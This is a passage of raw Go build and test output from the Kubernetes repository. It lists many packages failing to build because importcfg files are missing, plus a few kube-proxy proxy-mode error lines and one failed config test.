k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1alpha3.test: open /tmp/go-build138919994/b2013/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1beta1.test: open /tmp/go-build138919994/b2016/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/validation.test: open /tmp/go-build138919994/b2019/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd.test: open /tmp/go-build138919994/b2022/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd/alpha.test: open /tmp/go-build138919994/b2028/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases.test: open /tmp/go-build138919994/b2033/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow.test: open /tmp/go-build138919994/b2036/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade.test: open /tmp/go-build138919994/b2039/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/cmd/util.test: open /tmp/go-build138919994/b2042/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/componentconfigs.test: open /tmp/go-build138919994/b2045/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/constants.test: open /tmp/go-build138919994/b2048/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/discovery.test: open /tmp/go-build138919994/b2051/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/discovery/token.test: open /tmp/go-build138919994/b2054/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/features.test: open /tmp/go-build138919994/b2057/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/images.test: open /tmp/go-build138919994/b2060/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns.test: open /tmp/go-build138919994/b2063/importcfg: no such file or directory\r open /tmp/go-build138919994/b1994/options.test: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/proxy.test: open /tmp/go-build138919994/b2066/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/bootstraptoken/clusterinfo.test: open /tmp/go-build138919994/b2069/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/certs.test: open /tmp/go-build138919994/b2072/importcfg: no such file or directory\r open /tmp/go-build138919994/b1988/options.test: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kube-apiserver/app/options  build failed \r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/certs/renewal.test: open /tmp/go-build138919994/b2075/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/controlplane.test: open /tmp/go-build138919994/b2078/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/etcd.test: open /tmp/go-build138919994/b2081/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig.test: open /tmp/go-build138919994/b2084/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/kubelet.test: open /tmp/go-build138919994/b2087/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/markcontrolplane.test: open /tmp/go-build138919994/b2090/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/selfhosting.test: open /tmp/go-build138919994/b2093/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade.test: open /tmp/go-build138919994/b2096/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/phases/uploadconfig.test: open /tmp/go-build138919994/b2099/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/preflight.test: open /tmp/go-build138919994/b2102/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util.test: open /tmp/go-build138919994/b2105/importcfg: no such file or directory\r open /tmp/go-build138919994/b1991/app.test: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kube-controller-manager/app  build failed \r fail\tk8s.io/kubernetes/cmd/kube-controller-manager/app/options  build failed \r e0204 07:05:35.706500   20506 server_others.go:320  can't determine whether to use iptables proxy, using userspace proxier: oops!\r e0204 07:05:35.708949   20506 server_others.go:320  can't determine whether to use iptables proxy, using userspace proxier: error\r e0204 07:05:35.710082   20506 server_others.go:320  can't determine whether to use iptables proxy, using userspace proxier: oops!\r e0204 07:05:35.711186   20506 server_others.go:320  can't determine whether to use iptables proxy, using userspace proxier: error\r e0204 07:05:35.721662   20506 server_others.go:305  can't determine whether to use ipvs proxy, error: ipset version: 0.0 is less than min required version: 6.0\r e0204 07:05:35.725672   20506 ipset.go:172  vstring  a.b.c  is not a valid version string: could not parse \ a.b.c\  as version\r e0204 07:05:35.725698   20506 server_others.go:305  can't determine whether to use ipvs proxy, error: ipset version: a.b.c is less than min required version: 6.0\r e0204 07:05:35.727070   20506 server_others.go:305  can't determine whether to use ipvs proxy, error: ipvs proxier will not be used because the following required kernel modules are not loaded:  ip_vs_sh ip_vs ip_vs_rr ip_vs_wrr \r e0204 07:05:35.729634   20506 server_others.go:305  can't determine whether to use ipvs proxy, error: ipvs proxier will not be used because the following required kernel modules are not loaded:  ip_vs_rr ip_vs_wrr ip_vs_sh ip_vs \r e0204 07:05:35.733640   20506 server_others.go:305  can't determine whether to use ipvs proxy, error: ipset version: 0.0 is less than min required version: 6.0\r e0204 07:05:35.733670   20506 server_others.go:320  can't determine whether to use iptables proxy, using userspace proxier: error\r --- fail: testconfigchange  0.17s \r     server_test.go:495: unexpected error when setting up environment: unexpected error when creating temp file: open /tmp/kube-proxy-config-234555039: no such file or directory\r fail\r fail\tk8s.io/kubernetes/cmd/kube-proxy/app\t0.324s\r fail\tk8s.io/kubernetes/cmd/kube-scheduler/app/options  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/fuzzer  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1alpha3  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1beta1  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/validation  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd/alpha  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd/phases  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd/phases/workflow  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/cmd/util  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/componentconfigs  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/constants  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/discovery  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/discovery/token  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/features  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/images  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/addons/proxy  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/bootstraptoken/clusterinfo  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/certs  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/certs/renewal  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/controlplane  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/etcd  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/kubeconfig  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/kubelet  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/markcontrolplane  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/selfhosting  build failed \r go build k8s.io/kubernetes/cmd/kubeadm/app/util/apiclient.test: open /tmp/go-build138919994/b2108/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/audit.test: open /tmp/go-build138919994/b2111/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/config.test: open /tmp/go-build138919994/b2114/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/phases/uploadconfig  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/preflight  build failed \r go build k8s.io/kubernetes/cmd/kubeadm/app/util/config/strict.test: open /tmp/go-build138919994/b2117/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/etcd.test: open /tmp/go-build138919994/b2120/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util  build failed \r go build k8s.io/kubernetes/cmd/kubeadm/app/util/kubeconfig.test: open /tmp/go-build138919994/b2123/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/apiclient  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/audit  build failed \r go build k8s.io/kubernetes/cmd/kubeadm/app/util/pkiutil.test: open /tmp/go-build138919994/b2126/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/pubkeypin.test: open /tmp/go-build138919994/b2129/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/runtime.test: open /tmp/go-build138919994/b2132/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/staticpod.test: open /tmp/go-build138919994/b2135/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/util/system.test: open /tmp/go-build138919994/b2138/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubelet/app.test: open /tmp/go-build138919994/b2141/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/config  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/config/strict  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/etcd  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/kubeconfig  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/pkiutil  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/pubkeypin  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/runtime  build failed \r go build k8s.io/kubernetes/cmd/kubelet/app/options.test: open /tmp/go-build138919994/b2144/importcfg: no such file or directory\r go build k8s.io/kubernetes/hack.test: open /tmp/go-build138919994/b2147/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/staticpod  build failed \r fail\tk8s.io/kubernetes/cmd/kubeadm/app/util/system  build failed \r go build k8s.io/kubernetes/hack/make-rules/helpers/go2make.test: open /tmp/go-build138919994/b2151/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/endpoints.test: open /tmp/go-build138919994/b2154/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/persistentvolume.test: open /tmp/go-build138919994/b2157/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/persistentvolumeclaim.test: open /tmp/go-build138919994/b2161/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/pod.test: open /tmp/go-build138919994/b2164/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/podsecuritypolicy.test: open /tmp/go-build138919994/b2167/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/ref.test: open /tmp/go-build138919994/b2170/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/resource.test: open /tmp/go-build138919994/b2174/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/resourcequota.test: open /tmp/go-build138919994/b2177/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/service.test: open /tmp/go-build138919994/b2180/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/testapi.test: open /tmp/go-build138919994/b2183/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/testing.test: open /tmp/go-build138919994/b2186/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/v1/endpoints.test: open /tmp/go-build138919994/b2203/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/v1/persistentvolume.test: open /tmp/go-build138919994/b2206/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/v1/pod.test: open /tmp/go-build138919994/b2209/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/api/v1/resource.test: open /tmp/go-build138919994/b2212/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/cmd/kubelet/app  build failed \r fail\tk8s.io/kubernetes/cmd/kubelet/app/options  build failed \r fail\tk8s.io/kubernetes/hack  build failed \r fail\tk8s.io/kubernetes/hack/make-rules/helpers/go2make  build failed \r fail\tk8s.io/kubernetes/pkg/api/endpoints  build failed \r fail\tk8s.io/kubernetes/pkg/api/persistentvolume  build failed \r fail\tk8s.io/kubernetes/pkg/api/persistentvolumeclaim  build failed \r fail\tk8s.io/kubernetes/pkg/api/pod  build failed \r fail\tk8s.io/kubernetes/pkg/api/podsecuritypolicy  build failed \r fail\tk8s.io/kubernetes/pkg/api/ref  build failed \r fail\tk8s.io/kubernetes/pkg/api/resource  build failed \r fail\tk8s.io/kubernetes/pkg/api/resourcequota  build failed \r fail\tk8s.io/kubernetes/pkg/api/service  build failed \r fail\tk8s.io/kubernetes/pkg/api/testapi  build failed \r go build k8s.io/kubernetes/pkg/api/v1/service.test: open /tmp/go-build138919994/b2215/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/api/testing  build failed \r fail\tk8s.io/kubernetes/pkg/api/v1/endpoints  build failed \r fail\tk8s.io/kubernetes/pkg/api/v1/persistentvolume  build failed \r go build k8s.io/kubernetes/pkg/apis/abac/v0.test: open /tmp/go-build138919994/b2218/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/abac/v1beta1.test: open /tmp/go-build138919994/b2221/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/api/v1/pod  build failed \r go build k8s.io/kubernetes/pkg/apis/admissionregistration/validation.test: open /tmp/go-build138919994/b2224/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/apps/v1.test: open /tmp/go-build138919994/b2227/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/apps/v1beta1.test: open /tmp/go-build138919994/b2230/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/api/v1/resource  build failed \r fail\tk8s.io/kubernetes/pkg/api/v1/service  build failed \r fail\tk8s.io/kubernetes/pkg/apis/abac/v0  build failed \r fail\tk8s.io/kubernetes/pkg/apis/abac/v1beta1  build failed \r go build k8s.io/kubernetes/pkg/apis/apps/v1beta2.test: open /tmp/go-build138919994/b2233/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/admissionregistration/validation  build failed \r go build k8s.io/kubernetes/pkg/apis/apps/validation.test: open /tmp/go-build138919994/b2236/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/auditregistration/v1alpha1.test: open /tmp/go-build138919994/b2239/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/apps/v1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/apps/v1beta1  build failed \r go build k8s.io/kubernetes/pkg/apis/auditregistration/validation.test: open /tmp/go-build138919994/b2242/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/authorization/validation.test: open /tmp/go-build138919994/b2245/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/apps/v1beta2  build failed \r go build k8s.io/kubernetes/pkg/apis/autoscaling/v1.test: open /tmp/go-build138919994/b2248/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/autoscaling/v2beta1.test: open /tmp/go-build138919994/b2251/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/apps/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/auditregistration/v1alpha1  build failed \r go build k8s.io/kubernetes/pkg/apis/autoscaling/validation.test: open /tmp/go-build138919994/b2256/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/auditregistration/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/authorization/validation  build failed \r go build k8s.io/kubernetes/pkg/apis/batch/v1.test: open /tmp/go-build138919994/b2259/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/autoscaling/v1  build failed \r go build k8s.io/kubernetes/pkg/apis/batch/v1beta1.test: open /tmp/go-build138919994/b2262/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/batch/v2alpha1.test: open /tmp/go-build138919994/b2265/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/batch/validation.test: open /tmp/go-build138919994/b2268/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/coordination/validation.test: open /tmp/go-build138919994/b2271/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core.test: open /tmp/go-build138919994/b2274/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core/helper.test: open /tmp/go-build138919994/b2277/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core/install.test: open /tmp/go-build138919994/b2280/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core/pods.test: open /tmp/go-build138919994/b2283/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/autoscaling/v2beta1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/autoscaling/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/batch/v1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/batch/v1beta1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/batch/v2alpha1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/batch/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/coordination/validation  build failed \r go build k8s.io/kubernetes/pkg/apis/core/v1.test: open /tmp/go-build138919994/b2286/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core/v1/helper.test: open /tmp/go-build138919994/b2289/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/core/v1/helper/qos.test: open /tmp/go-build138919994/b2292/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/core  build failed \r fail\tk8s.io/kubernetes/pkg/apis/core/helper  build failed \r go build k8s.io/kubernetes/pkg/apis/core/v1/validation.test: open /tmp/go-build138919994/b2295/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/core/install  build failed \r fail\tk8s.io/kubernetes/pkg/apis/core/pods  build failed \r go build k8s.io/kubernetes/pkg/apis/core/validation.test: open /tmp/go-build138919994/b2298/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/extensions/v1beta1.test: open /tmp/go-build138919994/b2301/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/extensions/validation.test: open /tmp/go-build138919994/b2304/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/networking/v1.test: open /tmp/go-build138919994/b2307/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/core/v1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/core/v1/helper  build failed \r fail\tk8s.io/kubernetes/pkg/apis/core/v1/helper/qos  build failed \r fail\tk8s.io/kubernetes/pkg/apis/core/v1/validation  build failed \r go build k8s.io/kubernetes/pkg/apis/networking/validation.test: open /tmp/go-build138919994/b2310/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/policy/validation.test: open /tmp/go-build138919994/b2313/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/rbac.test: open /tmp/go-build138919994/b2316/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/rbac/v1alpha1.test: open /tmp/go-build138919994/b2319/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/rbac/validation.test: open /tmp/go-build138919994/b2322/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/scheduling.test: open /tmp/go-build138919994/b2325/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/scheduling/validation.test: open /tmp/go-build138919994/b2328/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/settings/validation.test: open /tmp/go-build138919994/b2331/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/storage/util.test: open /tmp/go-build138919994/b2334/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/storage/v1.test: open /tmp/go-build138919994/b2337/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/storage/v1beta1.test: open /tmp/go-build138919994/b2340/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/apis/storage/validation.test: open /tmp/go-build138919994/b2343/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/auth/authorizer/abac.test: open /tmp/go-build138919994/b2346/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/auth/nodeidentifier.test: open /tmp/go-build138919994/b2349/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/capabilities.test: open /tmp/go-build138919994/b2352/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/apis/core/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/extensions/v1beta1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/extensions/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/networking/v1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/networking/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/policy/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/rbac  build failed \r fail\tk8s.io/kubernetes/pkg/apis/rbac/v1alpha1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/rbac/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/scheduling  build failed \r fail\tk8s.io/kubernetes/pkg/apis/scheduling/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/settings/validation  build failed \r fail\tk8s.io/kubernetes/pkg/apis/storage/util  build failed \r fail\tk8s.io/kubernetes/pkg/apis/storage/v1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/storage/v1beta1  build failed \r fail\tk8s.io/kubernetes/pkg/apis/storage/validation  build failed \r go build k8s.io/kubernetes/pkg/client/tests.test: open /tmp/go-build138919994/b2355/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/cloudprovider/providers/azure.test: open /tmp/go-build138919994/b2384/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/auth/authorizer/abac  build failed \r fail\tk8s.io/kubernetes/pkg/auth/nodeidentifier  build failed \r fail\tk8s.io/kubernetes/pkg/capabilities  build failed \r go build k8s.io/kubernetes/pkg/cloudprovider/providers/cloudstack.test: open /tmp/go-build138919994/b2387/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/cloudprovider/providers/aws.test: open /tmp/go-build138919994/b2379/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/client/tests  build failed \r go build k8s.io/kubernetes/pkg/cloudprovider/providers/gce.test: open /tmp/go-build138919994/b2390/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/cloudprovider/providers/openstack.test: open /tmp/go-build138919994/b2393/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/cloudprovider/providers/ovirt.test: open /tmp/go-build138919994/b2396/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/aws  build failed \r go build k8s.io/kubernetes/pkg/cloudprovider/providers/photon.test: open /tmp/go-build138919994/b2399/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/azure  build failed \r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/cloudstack  build failed \r go build k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere.test: open /tmp/go-build138919994/b2402/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vclib.test: open /tmp/go-build138919994/b2414/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller.test: open /tmp/go-build138919994/b2418/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/gce  build failed \r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/openstack  build failed \r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/ovirt  build failed \r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/photon  build failed \r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/vsphere  build failed \r go build k8s.io/kubernetes/pkg/controller/apis/config/scheme.test: open /tmp/go-build138919994/b2422/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/apis/config/v1alpha1.test: open /tmp/go-build138919994/b2426/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/bootstrap.test: open /tmp/go-build138919994/b2429/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/certificates.test: open /tmp/go-build138919994/b2432/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/certificates/approver.test: open /tmp/go-build138919994/b2435/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vclib  build failed \r fail\tk8s.io/kubernetes/pkg/controller  build failed \r fail\tk8s.io/kubernetes/pkg/controller/apis/config/scheme  build failed \r fail\tk8s.io/kubernetes/pkg/controller/apis/config/v1alpha1  build failed \r go build k8s.io/kubernetes/pkg/controller/certificates/cleaner.test: open /tmp/go-build138919994/b2438/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/certificates/rootcacertpublisher.test: open /tmp/go-build138919994/b2441/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/certificates/signer.test: open /tmp/go-build138919994/b2444/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/cloud.test: open /tmp/go-build138919994/b2447/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/bootstrap  build failed \r fail\tk8s.io/kubernetes/pkg/controller/certificates  build failed \r fail\tk8s.io/kubernetes/pkg/controller/certificates/approver  build failed \r go build k8s.io/kubernetes/pkg/controller/clusterroleaggregation.test: open /tmp/go-build138919994/b2451/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/certificates/cleaner  build failed \r go build k8s.io/kubernetes/pkg/controller/cronjob.test: open /tmp/go-build138919994/b2454/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/daemon.test: open /tmp/go-build138919994/b2457/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/certificates/rootcacertpublisher  build failed \r fail\tk8s.io/kubernetes/pkg/controller/certificates/signer  build failed \r go build k8s.io/kubernetes/pkg/controller/daemon/util.test: open /tmp/go-build138919994/b2460/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/deployment.test: open /tmp/go-build138919994/b2463/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/cloud  build failed \r fail\tk8s.io/kubernetes/pkg/controller/clusterroleaggregation  build failed \r fail\tk8s.io/kubernetes/pkg/controller/cronjob  build failed \r go build k8s.io/kubernetes/pkg/controller/deployment/util.test: open /tmp/go-build138919994/b2466/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/disruption.test: open /tmp/go-build138919994/b2469/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/endpoint.test: open /tmp/go-build138919994/b2472/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/garbagecollector.test: open /tmp/go-build138919994/b2475/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/daemon  build failed \r fail\tk8s.io/kubernetes/pkg/controller/daemon/util  build failed \r go build k8s.io/kubernetes/pkg/controller/history.test: open /tmp/go-build138919994/b2479/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/deployment  build failed \r fail\tk8s.io/kubernetes/pkg/controller/deployment/util  build failed \r fail\tk8s.io/kubernetes/pkg/controller/disruption  build failed \r go build k8s.io/kubernetes/pkg/controller/job.test: open /tmp/go-build138919994/b2482/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/endpoint  build failed \r go build k8s.io/kubernetes/pkg/controller/namespace/deletion.test: open /tmp/go-build138919994/b2485/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/nodeipam.test: open /tmp/go-build138919994/b2488/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/nodeipam/ipam.test: open /tmp/go-build138919994/b2491/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/nodeipam/ipam/cidrset.test: open /tmp/go-build138919994/b2495/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/garbagecollector  build failed \r fail\tk8s.io/kubernetes/pkg/controller/history  build failed \r fail\tk8s.io/kubernetes/pkg/controller/job  build failed \r go build k8s.io/kubernetes/pkg/controller/nodeipam/ipam/sync.test: open /tmp/go-build138919994/b2498/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/namespace/deletion  build failed \r go build k8s.io/kubernetes/pkg/controller/nodelifecycle.test: open /tmp/go-build138919994/b2501/importcfg: no such file or directory\r go 